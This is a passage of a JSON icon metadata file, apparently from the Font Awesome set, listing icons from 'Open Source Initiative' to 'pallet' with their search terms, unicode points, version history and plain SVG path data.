    "styles": ["brands"],
    "unicode": "f41a",
    "label": "Open Source Initiative",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014470,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M8 266.44C10.3 130.64 105.4 34 221.8 18.34c138.8-18.6 255.6 75.8 278 201.1 21.3 118.8-44 230-151.6 274-9.3 3.8-14.4 1.7-18-7.7q-26.7-69.45-53.4-139c-3.1-8.1-1-13.2 7-16.8 24.2-11 39.3-29.4 43.3-55.8a71.47 71.47 0 0 0-64.5-82.2c-39-3.4-71.8 23.7-77.5 59.7-5.2 33 11.1 63.7 41.9 77.7 9.6 4.4 11.5 8.6 7.8 18.4q-26.85 69.9-53.7 139.9c-2.6 6.9-8.3 9.3-15.5 6.5-52.6-20.3-101.4-61-130.8-119-24.9-49.2-25.2-87.7-26.8-108.7zm20.9-1.9c.4 6.6.6 14.3 1.3 22.1 6.3 71.9 49.6 143.5 131 183.1 3.2 1.5 4.4.8 5.6-2.3q22.35-58.65 45-117.3c1.3-3.3.6-4.8-2.4-6.7-31.6-19.9-47.3-48.5-45.6-86 1-21.6 9.3-40.5 23.8-56.3 30-32.7 77-39.8 115.5-17.6a91.64 91.64 0 0 1 45.2 90.4c-3.6 30.6-19.3 53.9-45.7 69.8-2.7 1.6-3.5 2.9-2.3 6q22.8 58.8 45.2 117.7c1.2 3.1 2.4 3.8 5.6 2.3 35.5-16.6 65.2-40.3 88.1-72 34.8-48.2 49.1-101.9 42.3-161-13.7-117.5-119.4-214.8-255.5-198-106.1 13-195.3 102.5-197.1 225.8z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M8 266.44C10.3 130.64 105.4 34 221.8 18.34c138.8-18.6 255.6 75.8 278 201.1 21.3 118.8-44 230-151.6 274-9.3 3.8-14.4 1.7-18-7.7q-26.7-69.45-53.4-139c-3.1-8.1-1-13.2 7-16.8 24.2-11 39.3-29.4 43.3-55.8a71.47 71.47 0 0 0-64.5-82.2c-39-3.4-71.8 23.7-77.5 59.7-5.2 33 11.1 63.7 41.9 77.7 9.6 4.4 11.5 8.6 7.8 18.4q-26.85 69.9-53.7 139.9c-2.6 6.9-8.3 9.3-15.5 6.5-52.6-20.3-101.4-61-130.8-119-24.9-49.2-25.2-87.7-26.8-108.7zm20.9-1.9c.4 6.6.6 14.3 1.3 22.1 6.3 71.9 49.6 143.5 131 183.1 3.2 1.5 4.4.8 5.6-2.3q22.35-58.65 45-117.3c1.3-3.3.6-4.8-2.4-6.7-31.6-19.9-47.3-48.5-45.6-86 1-21.6 9.3-40.5 23.8-56.3 30-32.7 77-39.8 115.5-17.6a91.64 91.64 0 0 1 45.2 90.4c-3.6 30.6-19.3 53.9-45.7 69.8-2.7 1.6-3.5 2.9-2.3 6q22.8 58.8 45.2 117.7c1.2 3.1 2.4 3.8 5.6 2.3 35.5-16.6 65.2-40.3 88.1-72 34.8-48.2 49.1-101.9 42.3-161-13.7-117.5-119.4-214.8-255.5-198-106.1 13-195.3 102.5-197.1 225.8z"
      }
    },
    "free": ["brands"]
  },
  "otter": {
    "aliases": {
      "unicodes": {
        "composite": ["1f9a6"],
        "secondary": ["10f700"]
      }
    },
    "changes": [
      "5.4.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "animal",
        "badger",
        "fauna",
        "fishing",
        "fur",
        "mammal",
        "marten",
        "otter",
        "playful"
      ]
    },
    "styles": ["solid"],
    "unicode": "f700",
    "label": "Otter",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684768130,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M181.5 197.1l12.9 6.4c5.9 3 12.4 4.5 19.1 4.5c23.5 0 42.6-19.1 42.6-42.6V144c0-35.3-28.7-64-64-64H128c-35.3 0-64 28.7-64 64v21.4c0 23.5 19.1 42.6 42.6 42.6c6.6 0 13.1-1.5 19.1-4.5l12.9-6.4 8.4-4.2L135.1 185c-4.5-3-7.1-8-7.1-13.3V168c0-13.3 10.7-24 24-24h16c13.3 0 24 10.7 24 24v3.7c0 5.3-2.7 10.3-7.1 13.3l-11.8 7.9 8.4 4.2zm-8.6 49.4L160 240l-12.9 6.4c-12.6 6.3-26.5 9.6-40.5 9.6c-3.6 0-7.1-.2-10.6-.6v.6c0 35.3 28.7 64 64 64h64c17.7 0 32 14.3 32 32s-14.3 32-32 32H384V336 320c0-23.7 12.9-44.4 32-55.4c9.4-5.4 20.3-8.6 32-8.6V240c0-26.5 21.5-48 48-48c8.8 0 16 7.2 16 16v32 16 48c0 8.8 7.2 16 16 16s16-7.2 16-16V204.3c0-48.2-30.8-91-76.6-106.3l-8.5-2.8c-8-2.7-12.6-11.1-10.4-19.3s10.3-13.2 18.6-11.6l19.9 4C576 86.1 640 164.2 640 254.9l0 1.1h0c0 123.7-100.3 224-224 224h-1.1H256h-.6C132 480 32 380 32 256.6V256 216.8c-10.1-14.6-16-32.3-16-51.4V144l0-1.4C6.7 139.3 0 130.5 0 120c0-13.3 10.7-24 24-24h2.8C44.8 58.2 83.3 32 128 32h64c44.7 0 83.2 26.2 101.2 64H296c13.3 0 24 10.7 24 24c0 10.5-6.7 19.3-16 22.6l0 1.4v21.4c0 1.4 0 2.8-.1 4.3c12-6.2 25.7-9.6 40.1-9.6h8c17.7 0 32 14.3 32 32s-14.3 32-32 32h-8c-13.3 0-24 10.7-24 24v8h56.4c-15.2 17-24.4 39.4-24.4 64H320c-42.3 0-78.2-27.4-91-65.3c-5.1 .9-10.3 1.3-15.6 1.3c-14.1 0-27.9-3.3-40.5-9.6zM96 128a16 16 0 1 1 0 32 16 16 0 1 1 0-32zm112 16a16 16 0 1 1 32 0 16 16 0 1 1 -32 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M181.5 197.1l12.9 6.4c5.9 3 12.4 4.5 19.1 4.5c23.5 0 42.6-19.1 42.6-42.6V144c0-35.3-28.7-64-64-64H128c-35.3 0-64 28.7-64 64v21.4c0 23.5 19.1 42.6 42.6 42.6c6.6 0 13.1-1.5 19.1-4.5l12.9-6.4 8.4-4.2L135.1 185c-4.5-3-7.1-8-7.1-13.3V168c0-13.3 10.7-24 24-24h16c13.3 0 24 10.7 24 24v3.7c0 5.3-2.7 10.3-7.1 13.3l-11.8 7.9 8.4 4.2zm-8.6 49.4L160 240l-12.9 6.4c-12.6 6.3-26.5 9.6-40.5 9.6c-3.6 0-7.1-.2-10.6-.6v.6c0 35.3 28.7 64 64 64h64c17.7 0 32 14.3 32 32s-14.3 32-32 32H384V336 320c0-23.7 12.9-44.4 32-55.4c9.4-5.4 20.3-8.6 32-8.6V240c0-26.5 21.5-48 48-48c8.8 0 16 7.2 16 16v32 16 48c0 8.8 7.2 16 16 16s16-7.2 16-16V204.3c0-48.2-30.8-91-76.6-106.3l-8.5-2.8c-8-2.7-12.6-11.1-10.4-19.3s10.3-13.2 18.6-11.6l19.9 4C576 86.1 640 164.2 640 254.9l0 1.1h0c0 123.7-100.3 224-224 224h-1.1H256h-.6C132 480 32 380 32 256.6V256 216.8c-10.1-14.6-16-32.3-16-51.4V144l0-1.4C6.7 139.3 0 130.5 0 120c0-13.3 10.7-24 24-24h2.8C44.8 58.2 83.3 32 128 32h64c44.7 0 83.2 26.2 101.2 64H296c13.3 0 24 10.7 24 24c0 10.5-6.7 19.3-16 22.6l0 1.4v21.4c0 1.4 0 2.8-.1 4.3c12-6.2 25.7-9.6 40.1-9.6h8c17.7 0 32 14.3 32 32s-14.3 32-32 32h-8c-13.3 0-24 10.7-24 24v8h56.4c-15.2 17-24.4 39.4-24.4 64H320c-42.3 0-78.2-27.4-91-65.3c-5.1 .9-10.3 1.3-15.6 1.3c-14.1 0-27.9-3.3-40.5-9.6zM96 128a16 16 0 1 1 0 32 16 16 0 1 1 0-32zm112 16a16 16 0 1 1 32 0 16 16 0 1 1 -32 0z"
      }
    },
    "free": ["solid"]
  },
  "outdent": {
    "aliases": {
      "names": ["dedent"],
      "unicodes": {
        "secondary": ["10f03b"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.9.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["align", "justify", "paragraph", "tab"]
    },
    "styles": ["solid"],
    "unicode": "f03b",
    "label": "Outdent",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767206,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 64C0 46.3 14.3 32 32 32H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H32C14.3 96 0 81.7 0 64zM192 192c0-17.7 14.3-32 32-32H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H224c-17.7 0-32-14.3-32-32zm32 96H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H224c-17.7 0-32-14.3-32-32s14.3-32 32-32zM0 448c0-17.7 14.3-32 32-32H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32-14.3-32-32zM.2 268.6c-8.2-6.4-8.2-18.9 0-25.3l101.9-79.3c10.5-8.2 25.8-.7 25.8 12.6V335.3c0 13.3-15.3 20.8-25.8 12.6L.2 268.6z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 64C0 46.3 14.3 32 32 32H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H32C14.3 96 0 81.7 0 64zM192 192c0-17.7 14.3-32 32-32H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H224c-17.7 0-32-14.3-32-32zm32 96H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H224c-17.7 0-32-14.3-32-32s14.3-32 32-32zM0 448c0-17.7 14.3-32 32-32H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32-14.3-32-32zM.2 268.6c-8.2-6.4-8.2-18.9 0-25.3l101.9-79.3c10.5-8.2 25.8-.7 25.8 12.6V335.3c0 13.3-15.3 20.8-25.8 12.6L.2 268.6z"
      }
    },
    "free": ["solid"]
  },
  "p": {
    "aliases": {
      "unicodes": {
        "composite": ["70"]
      }
    },
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Latin Capital Letter P", "Latin Small Letter P", "letter"]
    },
    "styles": ["solid"],
    "unicode": "50",
    "label": "P",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767246,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M0 96C0 60.7 28.7 32 64 32h96c88.4 0 160 71.6 160 160s-71.6 160-160 160H64v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V320 96zM64 288h96c53 0 96-43 96-96s-43-96-96-96H64V288z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M0 96C0 60.7 28.7 32 64 32h96c88.4 0 160 71.6 160 160s-71.6 160-160 160H64v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V320 96zM64 288h96c53 0 96-43 96-96s-43-96-96-96H64V288z"
      }
    },
    "free": ["solid"]
  },
  "padlet": {
    "changes": ["6.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e4a0",
    "label": "Padlet",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014473,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M297.9 0L298 .001C305.6 .1078 312.4 4.72 315.5 11.78L447.5 320.3L447.8 320.2L448 320.6L445.2 330.6L402.3 488.6C398.6 504.8 382.6 514.9 366.5 511.2L298.1 495.6L229.6 511.2C213.5 514.9 197.5 504.8 193.8 488.6L150.9 330.6L148.2 320.6L148.3 320.2L280.4 11.78C283.4 4.797 290.3 .1837 297.9 .0006L297.9 0zM160.1 322.1L291.1 361.2L298 483.7L305.9 362.2L436.5 322.9L436.7 322.8L305.7 347.9L297.1 27.72L291.9 347.9L160.1 322.1zM426 222.6L520.4 181.6H594.2L437.2 429.2L468.8 320.2L426 222.6zM597.5 181.4L638.9 257.6C642.9 265.1 635 273.5 627.3 269.8L579.7 247.1L597.5 181.4zM127.3 318.5L158.7 430L1.61 154.5C-4.292 144.1 7.128 132.5 17.55 138.3L169.4 222.5L127.3 318.5z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M297.9 0L298 .001C305.6 .1078 312.4 4.72 315.5 11.78L447.5 320.3L447.8 320.2L448 320.6L445.2 330.6L402.3 488.6C398.6 504.8 382.6 514.9 366.5 511.2L298.1 495.6L229.6 511.2C213.5 514.9 197.5 504.8 193.8 488.6L150.9 330.6L148.2 320.6L148.3 320.2L280.4 11.78C283.4 4.797 290.3 .1837 297.9 .0006L297.9 0zM160.1 322.1L291.1 361.2L298 483.7L305.9 362.2L436.5 322.9L436.7 322.8L305.7 347.9L297.1 27.72L291.9 347.9L160.1 322.1zM426 222.6L520.4 181.6H594.2L437.2 429.2L468.8 320.2L426 222.6zM597.5 181.4L638.9 257.6C642.9 265.1 635 273.5 627.3 269.8L579.7 247.1L597.5 181.4zM127.3 318.5L158.7 430L1.61 154.5C-4.292 144.1 7.128 132.5 17.55 138.3L169.4 222.5L127.3 318.5z"
      }
    },
    "free": ["brands"]
  },
  "page4": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3d7",
    "label": "page4 Corporation",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014472,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 504C111 504 0 393 0 256S111 8 248 8c20.9 0 41.3 2.6 60.7 7.5L42.3 392H248v112zm0-143.6V146.8L98.6 360.4H248zm96 31.6v92.7c45.7-19.2 84.5-51.7 111.4-92.7H344zm57.4-138.2l-21.2 8.4 21.2 8.3v-16.7zm-20.3 54.5c-6.7 0-8 6.3-8 12.9v7.7h16.2v-10c0-5.9-2.3-10.6-8.2-10.6zM496 256c0 37.3-8.2 72.7-23 104.4H344V27.3C433.3 64.8 496 153.1 496 256zM360.4 143.6h68.2V96h-13.9v32.6h-13.9V99h-13.9v29.6h-12.7V96h-13.9v47.6zm68.1 185.3H402v-11c0-15.4-5.6-25.2-20.9-25.2-15.4 0-20.7 10.6-20.7 25.9v25.3h68.2v-15zm0-103l-68.2 29.7V268l68.2 29.5v-16.6l-14.4-5.7v-26.5l14.4-5.9v-16.9zm-4.8-68.5h-35.6V184H402v-12.2h11c8.6 15.8 1.3 35.3-18.6 35.3-22.5 0-28.3-25.3-15.5-37.7l-11.6-10.6c-16.2 17.5-12.2 63.9 27.1 63.9 34 0 44.7-35.9 29.3-65.3z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M248 504C111 504 0 393 0 256S111 8 248 8c20.9 0 41.3 2.6 60.7 7.5L42.3 392H248v112zm0-143.6V146.8L98.6 360.4H248zm96 31.6v92.7c45.7-19.2 84.5-51.7 111.4-92.7H344zm57.4-138.2l-21.2 8.4 21.2 8.3v-16.7zm-20.3 54.5c-6.7 0-8 6.3-8 12.9v7.7h16.2v-10c0-5.9-2.3-10.6-8.2-10.6zM496 256c0 37.3-8.2 72.7-23 104.4H344V27.3C433.3 64.8 496 153.1 496 256zM360.4 143.6h68.2V96h-13.9v32.6h-13.9V99h-13.9v29.6h-12.7V96h-13.9v47.6zm68.1 185.3H402v-11c0-15.4-5.6-25.2-20.9-25.2-15.4 0-20.7 10.6-20.7 25.9v25.3h68.2v-15zm0-103l-68.2 29.7V268l68.2 29.5v-16.6l-14.4-5.7v-26.5l14.4-5.9v-16.9zm-4.8-68.5h-35.6V184H402v-12.2h11c8.6 15.8 1.3 35.3-18.6 35.3-22.5 0-28.3-25.3-15.5-37.7l-11.6-10.6c-16.2 17.5-12.2 63.9 27.1 63.9 34 0 44.7-35.9 29.3-65.3z"
      }
    },
    "free": ["brands"]
  },
  "pagelines": {
    "changes": ["4.0.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": ["eco", "flora", "leaf", "leaves", "nature", "plant", "tree"]
    },
    "styles": ["brands"],
    "unicode": "f18c",
    "label": "Pagelines",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014479,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M384 312.7c-55.1 136.7-187.1 54-187.1 54-40.5 81.8-107.4 134.4-184.6 134.7-16.1 0-16.6-24.4 0-24.4 64.4-.3 120.5-42.7 157.2-110.1-41.1 15.9-118.6 27.9-161.6-82.2 109-44.9 159.1 11.2 178.3 45.5 9.9-24.4 17-50.9 21.6-79.7 0 0-139.7 21.9-149.5-98.1 119.1-47.9 152.6 76.7 152.6 76.7 1.6-16.7 3.3-52.6 3.3-53.4 0 0-106.3-73.7-38.1-165.2 124.6 43 61.4 162.4 61.4 162.4.5 1.6.5 23.8 0 33.4 0 0 45.2-89 136.4-57.5-4.2 134-141.9 106.4-141.9 106.4-4.4 27.4-11.2 53.4-20 77.5 0 0 83-91.8 172-20z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M384 312.7c-55.1 136.7-187.1 54-187.1 54-40.5 81.8-107.4 134.4-184.6 134.7-16.1 0-16.6-24.4 0-24.4 64.4-.3 120.5-42.7 157.2-110.1-41.1 15.9-118.6 27.9-161.6-82.2 109-44.9 159.1 11.2 178.3 45.5 9.9-24.4 17-50.9 21.6-79.7 0 0-139.7 21.9-149.5-98.1 119.1-47.9 152.6 76.7 152.6 76.7 1.6-16.7 3.3-52.6 3.3-53.4 0 0-106.3-73.7-38.1-165.2 124.6 43 61.4 162.4 61.4 162.4.5 1.6.5 23.8 0 33.4 0 0 45.2-89 136.4-57.5-4.2 134-141.9 106.4-141.9 106.4-4.4 27.4-11.2 53.4-20 77.5 0 0 83-91.8 172-20z"
      }
    },
    "free": ["brands"]
  },
  "pager": {
    "aliases": {
      "unicodes": {
        "composite": ["1f4df"],
        "secondary": ["10f815"]
      }
    },
    "changes": ["5.7.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["beeper", "cell phone", "communication", "page", "pager"]
    },
    "styles": ["solid"],
    "unicode": "f815",
    "label": "Pager",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767343,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 128C0 92.7 28.7 64 64 64H448c35.3 0 64 28.7 64 64V384c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V128zm64 32v64c0 17.7 14.3 32 32 32H416c17.7 0 32-14.3 32-32V160c0-17.7-14.3-32-32-32H96c-17.7 0-32 14.3-32 32zM80 320c-13.3 0-24 10.7-24 24s10.7 24 24 24h56c13.3 0 24-10.7 24-24s-10.7-24-24-24H80zm136 0c-13.3 0-24 10.7-24 24s10.7 24 24 24h48c13.3 0 24-10.7 24-24s-10.7-24-24-24H216z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 128C0 92.7 28.7 64 64 64H448c35.3 0 64 28.7 64 64V384c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V128zm64 32v64c0 17.7 14.3 32 32 32H416c17.7 0 32-14.3 32-32V160c0-17.7-14.3-32-32-32H96c-17.7 0-32 14.3-32 32zM80 320c-13.3 0-24 10.7-24 24s10.7 24 24 24h56c13.3 0 24-10.7 24-24s-10.7-24-24-24H80zm136 0c-13.3 0-24 10.7-24 24s10.7 24 24 24h48c13.3 0 24-10.7 24-24s-10.7-24-24-24H216z"
      }
    },
    "free": ["solid"]
  },
  "paint-roller": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f5aa"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "acrylic",
        "art",
        "brush",
        "color",
        "fill",
        "paint",
        "pigment",
        "watercolor"
      ]
    },
    "styles": ["solid"],
    "unicode": "f5aa",
    "label": "Paint Roller",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767367,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 64C0 28.7 28.7 0 64 0H352c35.3 0 64 28.7 64 64v64c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V64zM160 352c0-17.7 14.3-32 32-32V304c0-44.2 35.8-80 80-80H416c17.7 0 32-14.3 32-32V160 69.5c37.3 13.2 64 48.7 64 90.5v32c0 53-43 96-96 96H272c-8.8 0-16 7.2-16 16v16c17.7 0 32 14.3 32 32V480c0 17.7-14.3 32-32 32H192c-17.7 0-32-14.3-32-32V352z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 64C0 28.7 28.7 0 64 0H352c35.3 0 64 28.7 64 64v64c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V64zM160 352c0-17.7 14.3-32 32-32V304c0-44.2 35.8-80 80-80H416c17.7 0 32-14.3 32-32V160 69.5c37.3 13.2 64 48.7 64 90.5v32c0 53-43 96-96 96H272c-8.8 0-16 7.2-16 16v16c17.7 0 32 14.3 32 32V480c0 17.7-14.3 32-32 32H192c-17.7 0-32-14.3-32-32V352z"
      }
    },
    "free": ["solid"]
  },
  "paintbrush": {
    "aliases": {
      "names": ["paint-brush"],
      "unicodes": {
        "composite": ["1f58c"],
        "secondary": ["10f1fc"]
      }
    },
    "changes": [
      "4.2.0",
      "5.0.0",
      "5.1.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "acrylic",
        "art",
        "brush",
        "color",
        "fill",
        "paint",
        "paintbrush",
        "painting",
        "pigment",
        "watercolor"
      ]
    },
    "styles": ["solid"],
    "unicode": "f1fc",
    "label": "Paintbrush",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767368,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M339.3 367.1c27.3-3.9 51.9-19.4 67.2-42.9L568.2 74.1c12.6-19.5 9.4-45.3-7.6-61.2S517.7-4.4 499.1 9.6L262.4 187.2c-24 18-38.2 46.1-38.4 76.1L339.3 367.1zm-19.6 25.4l-116-104.4C143.9 290.3 96 339.6 96 400c0 3.9 .2 7.8 .6 11.6C98.4 429.1 86.4 448 68.8 448H64c-17.7 0-32 14.3-32 32s14.3 32 32 32H208c61.9 0 112-50.1 112-112c0-2.5-.1-5-.2-7.5z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M339.3 367.1c27.3-3.9 51.9-19.4 67.2-42.9L568.2 74.1c12.6-19.5 9.4-45.3-7.6-61.2S517.7-4.4 499.1 9.6L262.4 187.2c-24 18-38.2 46.1-38.4 76.1L339.3 367.1zm-19.6 25.4l-116-104.4C143.9 290.3 96 339.6 96 400c0 3.9 .2 7.8 .6 11.6C98.4 429.1 86.4 448 68.8 448H64c-17.7 0-32 14.3-32 32s14.3 32 32 32H208c61.9 0 112-50.1 112-112c0-2.5-.1-5-.2-7.5z"
      }
    },
    "free": ["solid"]
  },
  "palette": {
    "aliases": {
      "unicodes": {
        "composite": ["1f3a8"],
        "secondary": ["10f53f"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "acrylic",
        "art",
        "artist palette",
        "brush",
        "color",
        "fill",
        "museum",
        "paint",
        "painting",
        "palette",
        "pigment",
        "watercolor"
      ]
    },
    "styles": ["solid"],
    "unicode": "f53f",
    "label": "Palette",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767367,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M512 256c0 .9 0 1.8 0 2.7c-.4 36.5-33.6 61.3-70.1 61.3H344c-26.5 0-48 21.5-48 48c0 3.4 .4 6.7 1 9.9c2.1 10.2 6.5 20 10.8 29.9c6.1 13.8 12.1 27.5 12.1 42c0 31.8-21.6 60.7-53.4 62c-3.5 .1-7 .2-10.6 .2C114.6 512 0 397.4 0 256S114.6 0 256 0S512 114.6 512 256zM128 288a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm0-96a32 32 0 1 0 0-64 32 32 0 1 0 0 64zM288 96a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm96 96a32 32 0 1 0 0-64 32 32 0 1 0 0 64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M512 256c0 .9 0 1.8 0 2.7c-.4 36.5-33.6 61.3-70.1 61.3H344c-26.5 0-48 21.5-48 48c0 3.4 .4 6.7 1 9.9c2.1 10.2 6.5 20 10.8 29.9c6.1 13.8 12.1 27.5 12.1 42c0 31.8-21.6 60.7-53.4 62c-3.5 .1-7 .2-10.6 .2C114.6 512 0 397.4 0 256S114.6 0 256 0S512 114.6 512 256zM128 288a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm0-96a32 32 0 1 0 0-64 32 32 0 1 0 0 64zM288 96a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm96 96a32 32 0 1 0 0-64 32 32 0 1 0 0 64z"
      }
    },
    "free": ["solid"]
  },
  "palfed": {
    "changes": ["5.0.0", "5.0.3"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3d8",
    "label": "Palfed",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014467,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M384.9 193.9c0-47.4-55.2-44.2-95.4-29.8-1.3 39.4-2.5 80.7-3 119.8.7 2.8 2.6 6.2 15.1 6.2 36.8 0 83.4-42.8 83.3-96.2zm-194.5 72.2c.2 0 6.5-2.7 11.2-2.7 26.6 0 20.7 44.1-14.4 44.1-21.5 0-37.1-18.1-37.1-43 0-42 42.9-95.6 100.7-126.5 1-12.4 3-22 10.5-28.2 11.2-9 26.6-3.5 29.5 11.1 72.2-22.2 135.2 1 135.2 72 0 77.9-79.3 152.6-140.1 138.2-.1 39.4.9 74.4 2.7 100v.2c.2 3.4.6 12.5-5.3 19.1-9.6 10.6-33.4 10-36.4-22.3-4.1-44.4.2-206.1 1.4-242.5-21.5 15-58.5 50.3-58.5 75.9.2 2.5.4 4 .6 4.6zM8 181.1s-.1 37.4 38.4 37.4h30l22.4 217.2s0 44.3 44.7 44.3h288.9s44.7-.4 44.7-44.3l22.4-217.2h30s38.4 1.2 38.4-37.4c0 0 .1-37.4-38.4-37.4h-30.1c-7.3-25.6-30.2-74.3-119.4-74.3h-28V50.3s-2.7-18.4-21.1-18.4h-85.8s-21.1 0-21.1 18.4v19.1h-28.1s-105 4.2-120.5 74.3h-29S8 142.5 8 181.1z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M384.9 193.9c0-47.4-55.2-44.2-95.4-29.8-1.3 39.4-2.5 80.7-3 119.8.7 2.8 2.6 6.2 15.1 6.2 36.8 0 83.4-42.8 83.3-96.2zm-194.5 72.2c.2 0 6.5-2.7 11.2-2.7 26.6 0 20.7 44.1-14.4 44.1-21.5 0-37.1-18.1-37.1-43 0-42 42.9-95.6 100.7-126.5 1-12.4 3-22 10.5-28.2 11.2-9 26.6-3.5 29.5 11.1 72.2-22.2 135.2 1 135.2 72 0 77.9-79.3 152.6-140.1 138.2-.1 39.4.9 74.4 2.7 100v.2c.2 3.4.6 12.5-5.3 19.1-9.6 10.6-33.4 10-36.4-22.3-4.1-44.4.2-206.1 1.4-242.5-21.5 15-58.5 50.3-58.5 75.9.2 2.5.4 4 .6 4.6zM8 181.1s-.1 37.4 38.4 37.4h30l22.4 217.2s0 44.3 44.7 44.3h288.9s44.7-.4 44.7-44.3l22.4-217.2h30s38.4 1.2 38.4-37.4c0 0 .1-37.4-38.4-37.4h-30.1c-7.3-25.6-30.2-74.3-119.4-74.3h-28V50.3s-2.7-18.4-21.1-18.4h-85.8s-21.1 0-21.1 18.4v19.1h-28.1s-105 4.2-120.5 74.3h-29S8 142.5 8 181.1z"
      }
    },
    "free": ["brands"]
  },
  "pallet": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f482"]
      }
    },
    "changes": ["5.0.7", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["archive", "box", "inventory", "shipping", "warehouse"]
    },
    "styles": ["solid"],
    "unicode": "f482",
    "label": "Pallet",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767442,
